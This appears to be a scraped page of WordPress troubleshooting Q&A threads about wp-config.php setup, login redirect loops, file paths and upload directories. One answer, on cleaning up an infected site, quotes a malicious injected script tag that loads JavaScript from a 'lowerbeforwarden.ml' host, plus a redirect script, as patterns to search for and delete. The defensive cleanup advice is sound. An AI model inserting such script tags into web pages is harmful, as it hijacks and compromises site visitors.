The file 'wp-config.php' already exists? - php

I have made a copy of and edited the wp-config-sample.php file with all of the database details that should be in it (obtained from my host, and also created in mamp pro data user).
I have also replaced the unique phrases and corrected all $ with S as suggested by WordPress forum, forums here and tutorials.
I also then saved it as wp-config.php as suggested. When I then go to Wordpress and say submit it says that the file already exists.
In my Wordpress folder there is both the original sample file and the edited one I was asked to either create or edit. If I delete the sample page and submit it says I am missing a wp-config.php and need to create it. I put it back and it says the file already exists. I then edited the wp-config-sample.php file and just corrected the name as wp-config.php and still nothing I try or change works.
(I solved this problem as my root password in mamp pro was not the same as in the wp.config file, as soon as I had that corrected it all fell into place and worked :-))

sorry, i am not allowed to comment, but are you developing on a local machine or through a web hosting? I believe your in Mac. The safe bet here would be, for you, to delete the wordpress folder in the htdocs directory, untar it again there, and from the browser go to localhost/wordpress-folder-name and follow the wizard. (open up localhost/phpmyadmin to setup MySQL database)
If you want to put the wordpress in a live web host, then use ftp to upload the wordpress directory (you will have to change the settings). So, actually, unzipping a fresh copy of wordpress directly, and following the wordpress setup wizard online would be easy. For the MySQL database, use the settings provided by the host.
In these steps, you never have to touch the wp-config-sample.php nor wp-config.php file.

Related

Too many redirects on wp-login.php and wp-admin 404 not found

am having issues with my wordpress website. I can't login in at all. When I try to goto wp-admin I get a 404 page not found error and it redirects to wp-login.php (wp-login.php?redirect_to=https%3A%2F%2Fmycrazywebsite.com%2Fwp-admin%2F&reauth=1)
When I goto just wp-login.php I get an error saying redirected you too many times.
I have tried the following:
Clearing my cookies - Did not work
I checked my siteurl and home in wp-options in my database - Both are correct.
Added the following code to wp-config.php:
define('WP_HOME' , 'https://mycrazywebsite.com'); define('WP_SITEURL' , 'https://mycrazywebsite.com');
Removed my .htaccess file
Added the following code to wp-config.php
if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false) $_SERVER['HTTPS']='on';
None of them worked...Please help I have been struggling with this for days? Would it effect my site if I replace my wp-admin with a fresh one?
PLEASE NOTE:
this website was effected by the temp.lowerbeforwarden.ml virus that is going around.
I would say that it isn't an issue with your Apache configurations since it all started after your site was affected by a virus.
Create a copy of wp-config.php and download it.
Go to wp-includes directory and look for a file called
version.php. See the WordPress version that you have.
Visit https://wordpress.org/download/releases/ and download the zip
for that version.
Delete everything except wp-content directory.
Upload and extract.
Rename wp-config-sample.php to wp-config.php. Define the DB Credentials and Authentication keys (remember, you saved the old copy of wp-config.php! copy-paste details wherever needed but don't upload the old one unless you are absolutely sure that there's no malicious code in it)
Go to /wp-content/plugins directory and make a note of all the plugins installed. Delete all of them. Get all those plugins from WordPress repositories and upload the zip files and extract them.
Go to your phpMyAdmin and run this query (your table name may vary, it should be wp_posts or maybe in this format wpXX_posts, just check that):
select * from wpXX_posts where post_content like '%script%'
Review the data in post_content for each row and remove any malicious javascript code. (Copy data from that cell, paste in a text editor, review, delete everything from that cell and put back the reviewed data)
Examples (similar things to look for):
<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script>
<script type='text/javascript'>window.location.href = "SOME_URL";</script>
Also, look for any Google Analytics or tracking scripts that you didn't add.
Go to wp-contents > themes and delete all theme folders. Upload
your theme's zip file and extract and put there.
Everything should be working by now. One last step, log in to your
WordPress dashboard, go to settings > permalinks and scroll down
and click 'save changes'.
This error could occur when there is no storage space left on device where MySQL store data.
Wordpress is unable to save session data in database and redirects to login page with &reauth=1.
Try this below steps:
Turn on debugging log in wp-config.php file.
Disable plugins one by one by rename plugin folder and check site working or not in /wp-content/plugins/ path.
Rename .htaccess, wp-config.php file & upload new .htaccess, wp-config file from freshly downloaded wordpress & update your db name, db user & db password in wp-config.php file.
Mostly virus affected websites injected with some anonymous files. So check any unknowing files available in public_folder.
Repair all your database tables in phpmyadmin by this syntax: "repair table "
You can try this
Try to debugging by disabling the plugins. It could be problem because of version mismatch.
Change old wp-config with new wp-config.
For virus attacking just check any anomalie files. it can only effect in root folder.

Wordpress - it is impossible to edit the theme file through admin after FTP upload

I would like to change the theme file through the Wordpress Admin Panel, in menu Appearance > Theme Editor, but I've got the message:
Something went wrong. Your change may not have been saved. Please try again. There is also a chance that you may need to manually fix and upload the file over FTP.
Everything was working correctly before I've made some changes in the file and upload it through the FTP back to the server. I am able to change every other file in Theme Editor, but this one. The rights are the same as in other files I am able to change, the owner and group are the same too. It looks that everything should work, but this and only this one file I have updated via FTP I am not able to change through the Theme Editor of Wordpress Admin Panel.
Any idea what could be possibly wrong? What I have done wrong? Please help me somebody, in the most of the time I am on the "safe" network, and the server FTP is not accessible from my computer.
Thank you.
Check Theme Permission
One of the first things you got to check the theme files and folder permissions.
If you are running on shared hosting then mostly it would be alright. However, if using VPS or Cloud then you got to ensure the same user owns theme files as web server (Nginx or Apache HTTP) running.
Modify File Permissions with chmod
FYR :- https://www.linode.com/docs/tools-reference/tools/modify-file-permissions-with-chmod/
Check Security Plugins
Are you using any security plugins? Do you have the option to check their logs to see how exactly your request is being treated?
Alternatively, you can quickly disable the security plugin and verify if that works.
I have finally solved the problem. There were two things with I have mislead my question.
The first one was that I wrote "Everything was working correctly before I've made some changes in the file and upload it through the FTP" and after that I wrote it again in the comment of the answer - I was so sure that I have tried the same file before, but I have not, it definitely was another one, I am sorry.
And the second was that I did not write specific file name. The file was includes/_wp_utils.php. Somebody would maybe notice that this is the biggest file in that directory. And that was the problem. I do not know why - maybe it was too big for server processing or something else (120KB), but I noticed it later, and I have tried to split the file to a few smaller files and I have included them into the includes/_wp_utils.php with the command include_once __DIR__ . '/_wp_utils/_nth_part_of_original_wp_utils.php';.
Thank you #G.D Udara Lahiru Sampath, I absolutely liked your answer. It was useful and very important to check.

Issue accessing local hosted Wordpress site (redirects+other nonsense)

I have ran into quite the issue.
I have been developing a website hosted locally with MAMP. I always used localhost:90/wordpress/ to access the website and it was worked up till today. A few hours ago, I began the process of moving the website from local server to an actual domain. Unfortunately, I wasn't checking URLs and ended up changing some information and working on localhost myPHPadmin panel as opposed to the domain myPHPadmin panel. Long story short, I changed so much before I realized my mistake, then proceed to change even more, and now I am lost and don't know what to do. At this point, I am just trying to get access to my local hosted website so I can start over again.
The issue:
Everytime I goto localhost:90/wordpress, Chrome redirects me to localhost/wordpress and my website doesn't show, it says that the website can't be shown.
I have tried going into my local hosted myPHPadmin panel and changing siteurl and home to both say localhost, but no luck. Interestingly, when I change both to wordpress, it shows an unformatted version of my homepage (Kinda like just straight HTML), with limited images, however if I click any links then it brings me to wordpress/about and it doesn't exist. If I change it to just localhost:90, it shows my unformatted wordpress Page not found page. Can't access wp-admin with any of them.
I have tried using a replace tool recommended in another thread, but searching for localhost and replacing with localhost:90 yielded no results for me. I have also double checked the .htaccess folder and it is correct. I have cleared cookies/cache and still nothing. I am desperate.
Any help is much appreciated.
I am not sure what the issue is here so I am going to shoot in the dark here and hopefully one of these methods will get you out of your predicament. Since you say that you have reverted all the changes you made and still your website is inaccessible, even wp-admin.
You can try doing the following:
Change the siteurl and homeurl links in your PHPmyadmin to localhost:90/wordpress or whatever it was before when your site was running and functional.
In your Wordpress root folder, there is a file called wp-config.php. Open that file and find:
* #package WordPress
*/
Add after:
define('WP_HOME','localhost:90/wordpress');
define('WP_SITEURL','localhost:90/wordpress');
You will replace all localhost:90/wordpress if need be by which I have written in my codes to what the link was before; when the site was functional.
Check the file thoroughly and through Find/Replace function of your favourite text editor for no duplicate entries.
Now try accessing wp-admin. If you still cannot access your wp-admin, take a backup of your current wp-admin folder.
From a fresh Wordpress of the same version as yours, copy the wp-admin folder and replace it with your current wp-admin folder. Now try to access wp-admin again.
If you are able to access it and login, refresh your Permalinks. See if your site is accessbile again after doing these steps.
Update:
Since none of those steps worked for you, try doing the following:
Delete all the Wordpress core files from your localhost:90/wordpress EXCEPT wp-config.php and your wp-content folder.
Now from a fresh Wordpress folder, copy the files and folders EXCEPT wp-config.php file and wp-content folder. Paste them in your localhost:90/wordpress folder.
Try accessing your website now.
Update 2:
Try uploading your Wordpress to your online server and change the values of siteurl and homeurl in your wp-config.php file. We defined the localhost addresses in the file, now you will update those with your domain details.
Take a fresh backup of your database from your localhost and import it into a new database in your online server. Update the homeurl and siteurl in your newly imported database.
Update your wp-config.php with the new database name and username and password of the account you have given all privilages to access the database.
Try accessing wp-admin now.
If successful, update your Permalinks and then try accessing your website.
This will tell us if your localhost is faulty.

Local xampp wordpress installation - cannot find wp-blog-header.php

I'm working locally with XAMPP and Wordpress and I'm struggling with what is probably a very basic config issue. I'm not a professional IT guy, just a hobbyist hacker so I apologise in advance if I'm being a bit dumb but hopefully somebody can kindly offer some assistance here.
I've installed xampp locally on my iMac. I've then installed wordpress using the xampp wordpress installation package. Both seem to be working fine. To test the web server I created a simple .php test file and this generated the expected output when I entered "localhost/hello.php" into my browser. As far as wordpress is concerned entering "localhost/wordpress" gives me access the local wp interface to create and edit posts, change display settings etc etc. So far so good...
Now I want to create a new .php file that includes the instruction:
require('XXX/wp-blog-header.php')
where the "XXX" is obviously the relevant directory path for the wp header file.
I cannot find this file, or indeed local wordpress files, anywhere (and I've searched extensively). In the "home" location for "localhost" (which I know from my "hello.php" test) there isn't even a wordpress directory so I'm totally puzzled as to how typing "localhost/wordpress" in my browser is accessing the local wp installation or how to go about determining the correct directory path for the wp header file I'm looking for?
I do understand that with this stack a great deal of info will either be generated on the fly, or stored in the local mysql database as opposed to the file structure, but I thought I would find some reference or alias somewhere to help me trace this through and determine what path to include in my .php file for wp-blog-header.php.
I've searched this forum and while there are several related questions I haven't found anything that helps me with this particular issue.
Thanks vm,
Ian
The location of your Wordpress files is:
/Applications/XAMPP/xamppfiles/apps/wordpress
Ok I found the path I needed and (partially) understand why I couldn't locate it. As Scriptonomy helped me identify the Wordpress files are held at:
/Applications/XAMPP/xamppfiles/apps/wordpress
While my test.php file is held at:
/Applications/XAMPP/xamppfiles/htdocs/test.php
The reason I couldn't locate either wp-blog-header.php or wp-load.php is because these there is an another "htdocs" sub-dir under the wordpress install location i.e.:
../apps/wordpress/htdocs
However I (as user "admin") don't have access to read this directory and so couldn't see the contents and therefore couldn't find the files. The permissions on the directory belong to "daemon" which I guess was the XAMPP installer package? Setting the directory path in my test.php file to:
../apps/wordpress/htdocs/wp-load.php
somehow the web server (?) can read the file (even though I can't see it myself via the Finder application) and so the code is now giving the expected result.
So problem solved even if I don't quite understand the solution!
Thanks for replies which helped me eventually get to a solution!
Cheers,
Ian

Error when running WordPress on new server

I've just upload a WordPress project into a web server. Everything went fine with the exception of the User-Photo plugin. The problem I'm having is that its doesn't seems to find the basedir path. This is the error:
Upload error: Unable to place the user photo at: /var/www/clients/client2/web4/web/arsoblog/wp-content/uploads/userphoto/1.jpg
First of all, I don't know where this path is. Even on the local server, where the site is working good, is using the exact same path, which I can't find.
Maybe someone of you knows what could have changed from one server to the other. By the way, the blog is inside another site in the web server, which is developed using CakePHP.
EDIT --- I'm having the same problem with all the uploads!
The problem is in your upload directory. When we develop the WordPress site in localhost, the default upload directory will be point to your localhost only. When you move to online server, this directory path will not change.
To override this do the following steps:
Login to your cPanel/control Panel
Go to phpMyadmin
Select your database.
Go to wp_options table
On the second page (around 58th row) Edit 'upload_path'(For the first time this row may be blank).
Give your correct directory.Eg: /home/username/public_html/folder-name/wp-content/uploads
Change "username" and "folder-name". Username is usually the username you use to login to cPanel, or your domain’s control panel. Folder-name is used for the sites hosted in subfolders. If you hosted the site in root folder, remove it.
Here is a detailed tutorial How to move wordpress to a new server or host.
If you already used WordPress uploader in localhost, you need to do a search in wp_posts table and replace your localhost reference to your live site's reference. There are some plugin available to do these search and replace in database. Check this one
Hope this will solve your problem.
777 permissions are dangerous and not the correct fix for the issue. You will get hacked with 777 permissions. See Hardening WordPress « WordPress Codex
For solving this problem you have follow some step,
*Login to your cPanel/control Panel
*Go to phpMyadmin
*Select your database.
*Go to wp_options table
*On the second page (around 58th row) Edit 'upload_path'
*Give your correct directory.Eg: /home/username/public_html/folder-name/wp-content/uploads
then you shift your server See tutorial
for more
http://www.techyv.com/questions/error-when-running-wordpress-new-server

Categories